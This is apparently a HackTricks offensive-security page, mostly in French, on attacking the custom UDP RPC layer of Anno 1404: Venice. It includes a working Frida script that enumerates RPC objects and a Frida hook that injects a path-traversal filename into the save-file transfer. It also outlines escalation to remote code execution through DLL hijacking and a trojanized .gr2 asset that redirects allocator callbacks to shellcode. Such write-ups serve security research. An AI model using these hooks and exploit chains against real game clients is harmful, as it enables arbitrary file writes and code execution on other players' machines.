Custom UDP RPC Enumeration & File-Transfer Abuse
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Cartographier les objets RPC propriétaires avec Frida
Les jeux multijoueur plus anciens intègrent souvent des piles RPC personnalisées au-dessus de UDP. Dans Anno 1404: Venice ceci est implémenté dans NetComEngine3.dll via le dispatcher RMC_CallMessage, qui analyse 5 champs dans chaque datagramme :
| Champ | Rôle |
|---|---|
ID | Verbe RPC (16-bit) |
Flags | Modificateurs de transport (fiabilité, ordonnancement) |
Source | ID d’objet de l’appelant |
TargetObject | Instance d’objet distante |
Method | Index de méthode dans la classe cible |
Deux fonctions utilitaires – ClassToMethodName() et TargetName() – traduisent les IDs bruts en chaînes lisibles pour la journalisation. En bruteforçant les IDs d’objet 24‑bit et les IDs de méthode 16‑bit et en appelant ces utilitaires, nous pouvons énumérer l’ensemble de la surface accessible à distance sans captures de trafic ni symbol leaks.
Énumérateur de surface Frida (tronqué)
```javascript 'use strict';const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);
function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }
for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }
</details>
L'exécution de `frida -l explore-surface.js Addon.exe` a affiché la map RPC complète, y compris l'objet `Player` (`0x7400000`) et ses verbes de transfert de fichiers `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, et `OnCancelSendFile`. Le même workflow s'applique à tout protocole binaire qui expose des helpers de réflexion internes : intercepter le dispatcher, brute-forcer les IDs et logger ce que le moteur sait déjà de chaque méthode appelable.
### Conseils
- Utilisez les buffers de logging du moteur (`WString::Format` dans ce cas) pour éviter de réimplémenter des encodages de chaînes non documentés.
- Dump `Flags` pour identifier les fonctionnalités de fiabilité (ACK, resend requests) avant de tenter le fuzzing ; les stacks UDP custom suppriment fréquemment les paquets malformés sans message.
- Conservez la map énumérée — elle sert de corpus pour le fuzzing et montre clairement quels objets manipulent le système de fichiers, l'état du monde, ou le in-game scripting.
## Détournement des RPC de transfert de fichiers
La synchronisation des sauvegardes multijoueurs utilisait une poignée de main en deux paquets :
1. `OnSendFileInit` — transporte le nom de fichier UTF‑16 que le client doit utiliser pour enregistrer la payload entrante.
2. `OnSendFileData` — stream le contenu brut du fichier en chunks de taille fixe.
Parce que le serveur sérialise le nom de fichier via `ByteStreamWriteString()` juste avant l'envoi, un Frida hook peut remplacer le pointeur par un traversal payload tout en conservant les tailles de paquets intactes.
<details>
<summary>Remplacement du nom de fichier</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');
Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});
Les clients victimes n’ont effectué aucun assainissement et ont écrit la sauvegarde reçue à n’importe quel chemin fourni par l’hôte hostile, par ex. en la déposant dans C:\User\user au lieu de l’arborescence prévue ...\Savegames\MPShare. Sur les installations Windows d’Anno 1404 le répertoire du jeu est accessible en écriture par tous, donc le path traversal devient instantanément un primitive d’écriture de fichier arbitraire :
- Déposer des DLLs pour le search-order hijacking classique au prochain lancement, ou
- Écraser des archives d’assets (fichiers RDA) afin que des modèles, textures ou scripts weaponized soient chargés à chaud durant la même session.
Défendre / attaquer d’autres cibles
- Cherchez des RPC verbs nommés
SendFile,Upload,ShareSave, etc., puis interceptez le helper de sérialisation responsable des noms de fichiers ou des répertoires cibles. - Même si les noms de fichiers sont contrôlés en longueur, beaucoup de stacks oublient de canonicaliser
..\ou des séquences mixtes/vs\; brute-forcez tous les séparateurs. - Quand le receiver stocke des fichiers sous le chemin d’installation du jeu, vérifiez les ACLs via
icaclspour confirmer si un utilisateur non privilégié peut y déposer du code.
Turning path traversal into live asset execution
Une fois capable d’uploader des octets arbitraires, remplacez n’importe quel asset fréquemment chargé :
- Unpack the archive. RDA archives are DEFLATE-based containers whose metadata is optionally XOR-obfuscated with
srand(0xA2C2A)seeded streams. Tools like RDAExplorer re-pack archives after edits. - Inject a malicious
.gr2. The trojanized Granny 3D file carries the relocation exploit that overwritesSectionContentArrayand, through a two-stage relocation sequence, gains an arbitrary 4-byte write insidegranny2.dll. - Hijack allocator callbacks. With ASLR disabled and DEP off, replacing the
malloc/freefunction pointers ingranny2.dllredirects the next allocation to your shellcode, giving immediate RCE without waiting for the victim to restart the game.
This pattern generalises to any title that streams structured assets from binary archives: combine RPC-level traversal for delivery and unsafe relocation processing for code execution.
References
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

